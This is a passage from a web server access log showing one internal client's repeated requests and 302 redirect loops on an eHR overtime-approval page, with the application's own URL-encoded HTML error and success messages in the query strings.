+0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:19 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132662%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132662&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132662%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132662&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 